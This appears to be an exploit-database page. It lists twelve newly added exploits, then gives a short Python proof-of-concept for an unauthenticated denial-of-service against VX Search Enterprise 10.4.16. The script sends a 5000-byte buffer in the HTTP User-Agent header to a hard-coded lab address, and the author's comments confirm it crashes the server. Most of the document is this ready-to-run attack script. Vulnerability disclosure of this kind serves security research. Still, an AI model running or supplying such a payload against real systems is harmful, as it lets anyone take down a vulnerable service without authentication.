b4225f5fa8
12 changes to exploits/shellcodes SQL Server Password Changer 1.90 - Denial of Service Easy MP3 Downloader 4.7.8.8 - 'Unlock Code' Denial of Service Asus Precision TouchPad 11.0.0.25 - Denial of Service VX Search Enterprise 10.4.16 - 'User-Agent' Denial of Service Canon PRINT 2.5.5 - Information Disclosure QEMU - Denial of Service Sentrifugo 3.2 - File Upload Restriction Bypass Sentrifugo 3.2 - Persistent Cross-Site Scripting DomainMod 4.13 - Cross-Site Scripting YouPHPTube 7.4 - Remote Code Execution WordPress Plugin WooCommerce Product Feed 2.2.18 - Cross-Site Scripting
28 lines
No EOL
878 B
Python
Executable file
28 lines
No EOL
878 B
Python
Executable file
# Exploit Title: VX Search Enterprise v10.4.16 DoS
|
|
# Google Dork: N/A
|
|
# Date: 17.01.2018
|
|
# Exploit Author: James Chamberlain [chumb0]
|
|
# Vendor Homepage: http://www.vxsearch.com/downloads.html
|
|
# Software Link: http://www.vxsearch.com/setups/vxsearchent_setup_v10.4.16.exe
|
|
# Version: v10.4.16
|
|
# Tested on: Windows 7 Home x86
|
|
# CVE : N/A
|
|
|
|
# Have been unable to overwrite SEH/EIP, but the crash serves as an unauthenticated DoS.
|
|
|
|
# Replication - Large buffer sent in the majority of Request Headers. PoC attached. Server needs http enabling (non default)
|
|
|
|
#!/usr/bin/python
|
|
import socket
|
|
|
|
pwnd = "A" * 5000
|
|
|
|
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
connect=s.connect(('192.168.50.133', 80))
|
|
buf = ""
|
|
buf += "GET / HTTP/1.1" + "\r\n"
|
|
buf += "Host: 192.168.50.133\r\n"
|
|
buf += "User-Agent: " + pwnd + "r\n"
|
|
buf += "\r\n\r\n"
|
|
s.send(buf)
|
|
s.close() |